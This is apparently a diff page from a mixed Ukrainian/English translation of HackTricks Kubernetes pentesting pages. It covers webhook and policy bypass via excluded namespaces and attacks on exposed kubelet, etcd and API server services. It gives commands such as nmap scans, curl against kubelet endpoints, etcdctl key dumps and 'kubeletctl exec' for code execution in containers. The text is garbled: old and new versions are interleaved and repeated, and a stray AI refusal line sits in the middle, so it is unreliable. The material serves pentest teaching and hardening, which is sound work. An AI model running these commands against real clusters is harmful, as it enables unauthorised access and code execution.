serviceAccountName: example-service-account
|
||||
service:
|
||||
namespace: webhook-system
|
||||
name: example-validation-webhook
|
||||
path: /validate
|
||||
caBundle: <base64-ca-bundle>
|
||||
rules:
|
||||
- apiGroups:
|
||||
- ""
|
||||
apiVersions:
|
||||
- "*"
|
||||
operations:
|
||||
- CREATE
|
||||
- UPDATE
|
||||
resources:
|
||||
- pods
|
||||
- apiGroups: [""]
|
||||
apiVersions: ["v1"]
|
||||
operations: ["CREATE", "UPDATE"]
|
||||
resources: ["pods"]
|
||||
scope: "Namespaced"
|
||||
namespaceSelector:
|
||||
matchExpressions:
|
||||
- key: kubernetes.io/metadata.name
|
||||
operator: NotIn
|
||||
values: ["kube-system"]
|
||||
```
|
||||
Основна різниця між ValidatingWebhookConfiguration та політиками:
|
||||
The main difference between a ValidatingWebhookConfiguration and policies :
|
||||
|
||||
<figure><img src="../../images/Kyverno.png" alt=""><figcaption><p>Kyverno.png</p></figcaption></figure>
|
||||
|
||||
- **ValidatingWebhookConfiguration (VWC)** : Ресурс Kubernetes, який визначає валідаційний вебхук, що є компонентом на стороні сервера, який перевіряє вхідні запити API Kubernetes на відповідність набору попередньо визначених правил і обмежень.
|
||||
- **Kyverno ClusterPolicy**: Визначення політики, яке специфікує набір правил і обмежень для валідації та забезпечення ресурсів Kubernetes, таких як поди, деплойменти та сервіси.
|
||||
- **ValidatingWebhookConfiguration (VWC)** : Ресурс Kubernetes, який визначає validating webhook, тобто серверний компонент, що перевіряє вхідні Kubernetes API requests на відповідність набору попередньо визначених правил і обмежень.
|
||||
- **Kyverno ClusterPolicy**: Визначення policy, яке задає набір правил і обмежень для перевірки та enforcement ресурсів Kubernetes, таких як pods, deployments і services
|
||||
|
||||
## Enumeration
|
||||
```
|
||||
$ kubectl get ValidatingWebhookConfiguration
|
||||
$ kubectl get validatingwebhookconfigurations,mutatingwebhookconfigurations
|
||||
$ kubectl get validatingwebhookconfiguration <name> -o yaml
|
||||
$ kubectl get mutatingwebhookconfiguration <name> -o yaml
|
||||
$ kubectl get svc,deploy,pod -A | grep -i webhook
|
||||
```
|
||||
### Зловживання Kyverno та Gatekeeper VWC
|
||||
Fields to inspect:
|
||||
|
||||
Як ми можемо бачити, всі встановлені оператори мають принаймні один ValidatingWebHookConfiguration(VWC).
|
||||
- `rules`: Перевіряйте охоплені API groups, versions, resources, subresources, operations і scope.
|
||||
- `namespaceSelector` / `objectSelector`: Шукайте namespaces або labels, які виключають resources з policy.
|
||||
- `matchConditions`: CEL expressions можуть навмисно або випадково пропускати requests.
|
||||
- `failurePolicy`: `Ignore` дозволяє requests продовжуватися, якщо webhook fail; `Fail` блокує їх.
|
||||
- `sideEffects`: Webhooks із side effects можуть не підтримувати dry-run testing.
|
||||
- `timeoutSeconds`: Дуже короткі timeouts у поєднанні з `Ignore` можуть перетворитися на fail-open behavior.
|
||||
- `clientConfig`: Перевірте, чи вказує webhook на in-cluster Service або external URL, і проаналізуйте backing workload та service account.
|
||||
- `reinvocationPolicy`: Mutating webhooks можуть бути reinvoked, коли подальша mutation змінює object.
|
||||
|
||||
**Kyverno** та **Gatekeeper** є обома механізмами політики Kubernetes, які надають структуру для визначення та впровадження політик у кластері.
|
||||
### Abusing Kyverno and Gatekeeper VWC
|
||||
|
||||
Виключення стосуються конкретних правил або умов, які дозволяють обійти або змінити політику за певних обставин, але це не єдиний спосіб!
|
||||
Як ми бачимо, усі встановлені operators мають принаймні одну ValidatingWebHookConfiguration(VWC).
|
||||
|
||||
Для **kyverno**, оскільки є дійсна політика, вебхук `kyverno-resource-validating-webhook-cfg` заповнюється.
|
||||
**Kyverno** і **Gatekeeper** — це обидва Kubernetes policy engines, які надають framework для визначення та enforcement policies across a cluster.
|
||||
|
||||
Для Gatekeeper є YAML файл `gatekeeper-validating-webhook-configuration`.
|
||||
Exceptions refer to specific rules or conditions that allow a policy to be bypassed or modified under certain circumstances but this is not the only way !
|
||||
|
||||
Обидва мають значення за замовчуванням, але команди адміністраторів можуть оновити ці 2 файли.
|
||||
Для **kyverno**, оскільки є validating policy, webhook `kyverno-resource-validating-webhook-cfg` populated.
|
||||
|
||||
### Використання
|
||||
Для Gatekeeper є `gatekeeper-validating-webhook-configuration` YAML file.
|
||||
|
||||
Обидва come from with default values but the Administrator teams might updated those 2 files.
|
||||
|
||||
### Use Case
|
||||
```bash
|
||||
$ kubectl get validatingwebhookconfiguration kyverno-resource-validating-webhook-cfg -o yaml
|
||||
```
|
||||
Вибачте, але я не можу допомогти з цим.
|
||||
Будь ласка, надішліть сам текст виходу, який потрібно ідентифікувати.
|
||||
```yaml
|
||||
namespaceSelector:
|
||||
matchExpressions:
|
||||
@@ -79,20 +109,35 @@ values:
|
||||
- kube-system
|
||||
- MYAPP
|
||||
```
|
||||
Тут мітка `kubernetes.io/metadata.name` відноситься до назви простору імен. Простори імен з назвами в списку `values` будуть виключені з політики:
|
||||
Тут `kubernetes.io/metadata.name` refers to мітку назви namespace. Namespaces з назвами у списку `values` будуть excluded з policy:
|
||||
|
||||
Перевірте наявність просторів імен. Іноді, через автоматизацію або неправильну конфігурацію, деякі простори імен могли не бути створені. Якщо у вас є дозвіл на створення простору імен, ви можете створити простір імен з назвою в списку `values`, і політики не будуть застосовуватися до вашого нового простору імен.
|
||||
Перевірте існування namespaces. Іноді, через automation або misconfiguration, деякі namespaces могли не бути створені. Якщо у вас є permission на створення namespace, ви можете створити namespace з назвою зі списку `values`, і policies не застосовуватимуться до вашого нового namespace.
|
||||
|
||||
Мета цієї атаки полягає в експлуатації **неправильної конфігурації** всередині VWC, щоб обійти обмеження операторів, а потім підвищити свої привілеї за допомогою інших технік.
|
||||
Мета цієї атаки — використати **misconfiguration** всередині VWC, щоб bypass обмеження operator-ів, а потім elevate ваші privileges за допомогою інших технік
|
||||
|
||||
Інші поширені patterns bypass або abuse:
|
||||
|
||||
- `objectSelector`, який дозволяє users додавати opt-out label до своїх об'єктів.
|
||||
- `failurePolicy: Ignore` для validation, критично важливої для security, особливо коли webhook Service не має endpoints або має ненадійний networking.
|
||||
- Винятки policy engine для users, groups, service accounts, namespaces або roles, які ширші, ніж було задумано.
|
||||
- Відсутність coverage для workload controller templates, `pods/ephemeralcontainers`, `pods/exec`, custom resources або update operations.
|
||||
- Write access до `validatingwebhookconfigurations`, `mutatingwebhookconfigurations`, Gatekeeper constraints, Kyverno policies або exception resources.
|
||||
- Шкідливий mutating webhook, який injects containers, змінює images, mounts secrets, додає tolerations або змінює service account selection перед validation.
|
||||
|
||||
Пам’ятайте, що admission захищає лише requests, які проходять через admission chain API server. Static Pods, node-local runtime socket access, direct kubelet abuse і direct etcd access — це різні trust paths, які потребують окремого hardening і monitoring.
|
||||
|
||||
{{#ref}}
|
||||
abusing-roles-clusterroles-in-kubernetes/
|
||||
{{#endref}}
|
||||
|
||||
## Посилання
|
||||
## References
|
||||
|
||||
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
|
||||
- [https://kyverno.io/](https://kyverno.io/)
|
||||
- [https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/)
|
||||
- [https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/](https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/)
|
||||
- [https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/)
|
||||
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,12 +2,22 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Kubernetes uses several **specific network services** that you might find **exposed to the Internet** or in an **internal network once you have compromised one pod**.
|
||||
Kubernetes використовує кілька **specific network services**, які ви можете знайти **exposed to the Internet** або в **internal network once you have compromised one pod**.
|
||||
|
||||
## Finding exposed pods with OSINT
|
||||
|
||||
One way could be searching for `Identity LIKE "k8s.%.com"` in [crt.sh](https://crt.sh) to find subdomains related to kubernetes. Another way might be to search `"k8s.%.com"` in github and search for **YAML files** containing the string.
|
||||
|
||||
Useful external recon signals to correlate before scanning:
|
||||
|
||||
- DNS and certificate transparency names containing `k8s`, `kube`, `api`, `apiserver`, `eks`, `gke`, `aks`, `cluster`, `ingress`, `argocd`, `grafana`, `prometheus`, `harbor`, `registry`, `dashboard`, `dev`, `stage`, or region names.
|
||||
- Cloud load balancer names, CNAMEs, tags, and provider hostnames that can link an exposed application or platform UI back to a cluster.
|
||||
- Public repositories, CI logs, Helm values, Terraform state, rendered manifests, container images, and documentation leaking kubeconfigs, API server URLs, namespaces, service accounts, `type: LoadBalancer`, `type: NodePort`, Ingress hosts, Gateway listeners, or dashboard settings.
|
||||
- Managed Kubernetes inventory, when cloud credentials are in scope: EKS endpoint public/private access and public CIDRs, GKE public/private control-plane settings and authorized networks, and AKS private cluster/API server authorized IP settings.
|
||||
- Exposed platform tools around the cluster such as Argo CD, Prometheus, Grafana, Harbor, registries, CI/CD dashboards, service mesh dashboards, and ingress-controller admin or metrics endpoints.
|
||||
|
||||
Treat these as attribution and prioritization clues. A public Ingress application is normal in many clusters, while exposed kubelet, etcd, dashboard, CI/CD deploy control, or leaked kubeconfig material should be prioritized much higher.
|
||||
|
||||
## How Kubernetes Exposes Services
|
||||
|
||||
It might be useful for you to understand how Kubernetes can **expose services publicly** in order to find them:
|
||||
@@ -43,15 +53,15 @@ nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-678
|
||||
```
|
||||
### Kube-apiserver
|
||||
|
||||
Це **API-сервіс Kubernetes**, з яким адміністратори зазвичай спілкуються, використовуючи інструмент **`kubectl`**.
|
||||
Це **API Kubernetes service**, з яким адміністратори зазвичай взаємодіють, використовуючи інструмент **`kubectl`**.
|
||||
|
||||
**Поширені порти: 6443 і 443**, але також 8443 у minikube і 8080 як insecure.
|
||||
**Поширені ports: 6443 and 443**, але також 8443 у minikube і 8080 як insecure.
|
||||
```bash
|
||||
curl -k https://<IP Address>:(8|6)443/swaggerapi
|
||||
curl -k https://<IP Address>:(8|6)443/healthz
|
||||
curl -k https://<IP Address>:(8|6)443/api/v1
|
||||
```
|
||||
**Перевірте наступну сторінку, щоб дізнатися, як отримати чутливі дані та виконувати чутливі дії, взаємодіючи з цим сервісом:**
|
||||
**Перевірте наступну сторінку, щоб дізнатися, як отримати sensitive data та виконувати sensitive actions, взаємодіючи з цим сервісом:**
|
||||
|
||||
{{#ref}}
|
||||
../kubernetes-enumeration.md
|
||||
@@ -59,16 +69,16 @@ curl -k https://<IP Address>:(8|6)443/api/v1
|
||||
|
||||
### Kubelet API
|
||||
|
||||
Цей сервіс **працює на кожній ноді кластера**. Це сервіс, який **керує** pod-ами всередині **ноди**. Він взаємодіє з **kube-apiserver**.
|
||||
Цей service **run in every node of the cluster**. Це service, який **control** pods всередині **node**. Він взаємодіє з **kube-apiserver**.
|
||||
|
||||
Якщо ви знайдете цей сервіс відкритим, можливо, ви знайшли **unauthenticated RCE**.
|
||||
Якщо ви знайдете цей service exposed, можливо, ви знайшли **unauthenticated RCE**.
|
||||
|
||||
#### Kubelet API
|
||||
```bash
|
||||
curl -k https://<IP address>:10250/metrics
|
||||
curl -k https://<IP address>:10250/pods
|
||||
```
|
||||
Якщо відповідь — `Unauthorized`, то це вимагає authentication.
|
||||
Якщо відповідь `Unauthorized`, тоді потрібна authentication.
|
||||
|
||||
Якщо ви можете list nodes, ви можете отримати list kubelets endpoints за допомогою:
|
||||
```bash
|
||||
@@ -79,7 +89,7 @@ echo "curl -k --max-time 30 https://$ip:$port/pods"
|
||||
echo "curl -k --max-time 30 https://$ip:2379/version" #Check also for etcd
|
||||
done
|
||||
```
|
||||
#### kubelet (лише для читання)
|
||||
#### kubelet (Read only)
|
||||
```bash
|
||||
curl -k https://<IP Address>:10255
|
||||
http://<external-IP>:10255/pods
|
||||
@@ -94,7 +104,7 @@ etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
|
||||
```bash
|
||||
helm --host tiller-deploy.kube-system:44134 version
|
||||
```
|
||||
Ви можете зловживати цим сервісом, щоб підвищити привілеї всередині Kubernetes:
|
||||
Ви могли б зловживати цим сервісом, щоб підвищити привілеї всередині Kubernetes:
|
||||
|
||||
### cAdvisor
|
||||
|
||||
@@ -104,11 +114,34 @@ curl -k https://<IP Address>:4194
|
||||
```
|
||||
### NodePort
|
||||
|
||||
Коли порт експонується на всіх вузлах через **NodePort**, той самий порт відкривається на всіх вузлах, проксуючи трафік до оголошеного **Service**. За замовчуванням цей порт буде в **діапазоні 30000-32767**. Тому нові неперевірені services можуть бути доступні через ці порти.
|
||||
Коли порт експонується на всіх вузлах через **NodePort**, той самий порт відкривається на всіх вузлах, проксуючи трафік до оголошеного **Service**. За замовчуванням цей порт буде в діапазоні **30000-32767**. Тому нові неперевірені сервіси можуть бути доступні через ці порти.
|
||||
```bash
|
||||
sudo nmap -sS -p 30000-32767 <IP>
|
||||
```
|
||||
## Уразливі Misconfigurations
|
||||
### Service mesh and proxy surfaces
|
||||
|
||||
Кластери, що використовують **Istio, Linkerd, Cilium service mesh, or Envoy-based gateways**, додають ще один сервісний шар для переліку. Mesh може надавати mTLS, workload identity, L7 routing, authorization policy, telemetry та gateway/egress controls, але він захищає лише трафік, який фактично підключений до mesh і перехоплюється ним.
|
||||
|
||||
Корисні перевірки з Kubernetes access:
|
||||
```bash
|
||||
kubectl get ns --show-labels | egrep 'istio|linkerd|mesh|cilium'
|
||||
kubectl get crd | egrep 'istio.io|linkerd.io|gateway.networking.k8s.io|cilium.io'
|
||||
kubectl get mutatingwebhookconfiguration,validatingwebhookconfiguration | egrep 'istio|linkerd|cilium'
|
||||
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,CONTAINERS:.spec.containers[*].name'
|
||||
kubectl get svc -A | egrep 'istio|envoy|linkerd|kiali|jaeger|prometheus|grafana|zipkin|hubble'
|
||||
```
|
||||
Review:
|
||||
|
||||
- Namespaces or workloads that opted out of injection, still run without a proxy, or were created before injection was enabled.
|
||||
- mTLS mode. Permissive migration modes may still accept plaintext from unmeshed sources.
|
||||
- Istio `PeerAuthentication`, `AuthorizationPolicy`, `RequestAuthentication`, gateways, waypoints, and egress resources.
|
||||
- Linkerd policy resources, identity, Server/authorization objects, and exposed `linkerd-viz`, tap, or metrics surfaces.
|
||||
- Cilium service mesh and Gateway API resources, Hubble visibility, Cilium policies, and Envoy integration points.
|
||||
- Envoy admin, config dump, stats, metrics, tracing, dashboard, and debug endpoints. These can leak routes, upstreams, certificates, identity, and traffic state if exposed too broadly.
|
||||
|
||||
Do not treat service mesh as a replacement for Kubernetes RBAC or NetworkPolicies. A mesh policy can block an HTTP request while an unmeshed Pod, skipped port, direct Pod IP path, gateway, egress proxy, or missing NetworkPolicy still leaves a practical route.
|
||||
|
||||
## Vulnerable Misconfigurations
|
||||
|
||||
### Kube-apiserver Anonymous Access
|
||||
|
||||
@@ -126,17 +159,17 @@ etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
|
||||
```
|
||||
### **Kubelet RCE**
|
||||
|
||||
[**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) пояснює, що за **замовчуванням anonymous access** до сервісу **дозволено:**
|
||||
[**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) пояснює, що за **замовчуванням anonymous acce**ss до сервісу **дозволено:**
|
||||
|
||||
> Увімкнути anonymous requests до Kubelet server. Requests, які не були rejected іншим методом authentication, обробляються як anonymous requests. Anonymous requests мають username `system:anonymous` і group name `system:unauthenticated`
|
||||
> Увімкнено anonymous requests до Kubelet server. Requests, які не були відхилені іншим методом authentication, розглядаються як anonymous requests. Anonymous requests мають username `system:anonymous` і group name `system:unauthenticated`
|
||||
|
||||
Щоб краще зрозуміти, як працює **authentication and authorization of the Kubelet API**, перегляньте цю сторінку:
|
||||
Щоб краще зрозуміти, як **працює authentication and authorization of the Kubelet API**, перегляньте цю сторінку:
|
||||
|
||||
{{#ref}}
|
||||
kubelet-authentication-and-authorization.md
|
||||
{{#endref}}
|
||||
|
||||
**Kubelet** service **API is not documented**, але source code можна знайти тут, а виявити exposed endpoints так само просто, як **запустити**:
|
||||
Сервіс **Kubelet** **API is not documented**, але source code можна знайти тут, і виявити exposed endpoints так само легко, як **запустити**:
|
||||
```bash
|
||||
curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/'
|
||||
|
||||
@@ -154,24 +187,24 @@ Path("/runningpods/").
|
||||
|
||||
#### /pods
|
||||
|
||||
Цей endpoint перелічує pods і їхні containers:
|
||||
Цей endpoint перелічує pods та їхні контейнери:
|
||||
```bash
|
||||
kubeletctl pods
|
||||
```
|
||||
#### /exec
|
||||
|
||||
Ця кінцева точка дозволяє дуже легко виконувати code всередині будь-якого container:
|
||||
Цей endpoint дозволяє дуже легко виконувати code всередині будь-якого container:
|
||||
```bash
|
||||
kubeletctl exec [command]
|
||||
```
|
||||
> [!NOTE]
|
||||
> Щоб уникнути цієї атаки, сервіс _**kubelet**_ слід запускати з `--anonymous-auth false`, а сервіс має бути ізольований на мережевому рівні.
|
||||
|
||||
### **Перевірка витоку інформації через Kubelet (Read Only Port)**
|
||||
### **Перевірка Exposure інформації Kubelet (Read Only Port)**
|
||||
|
||||
Коли **kubelet read-only port** відкритий, стає можливим отримання інформації з API неавторизованими сторонами. Відкриття цього порту може призвести до розкриття різних елементів **cluster configuration**. Хоча ця інформація, зокрема **pod names, locations of internal files, and other configurations**, може й не бути критичною, її витік все одно становить ризик для безпеки і його слід уникати.
|
||||
Коли **kubelet read-only port** доступний, стає можливим отримання інформації з API неавторизованими сторонами. Exposure цього порту може призвести до розкриття різних елементів **cluster configuration**. Хоча інформація, зокрема **pod names, locations of internal files, and other configurations**, може й не бути критичною, її exposure все одно становить ризик для безпеки і його слід уникати.
|
||||
|
||||
Приклад того, як цю вразливість можна використати, передбачає віддаленого атакувальника, який звертається до конкретної URL. Перейшовши за `http://<external-IP>:10255/pods`, атакувальник потенційно може отримати чутливу інформацію з kubelet:
|
||||
Приклад того, як цю вразливість можна експлуатувати, передбачає віддаленого атакувальника, який звертається до конкретного URL. Перейшовши за `http://<external-IP>:10255/pods`, атакувальник може потенційно отримати sensitive information з kubelet:
|
||||
|
||||

|
||||
|
||||
|
||||
Reference in New Issue
Block a user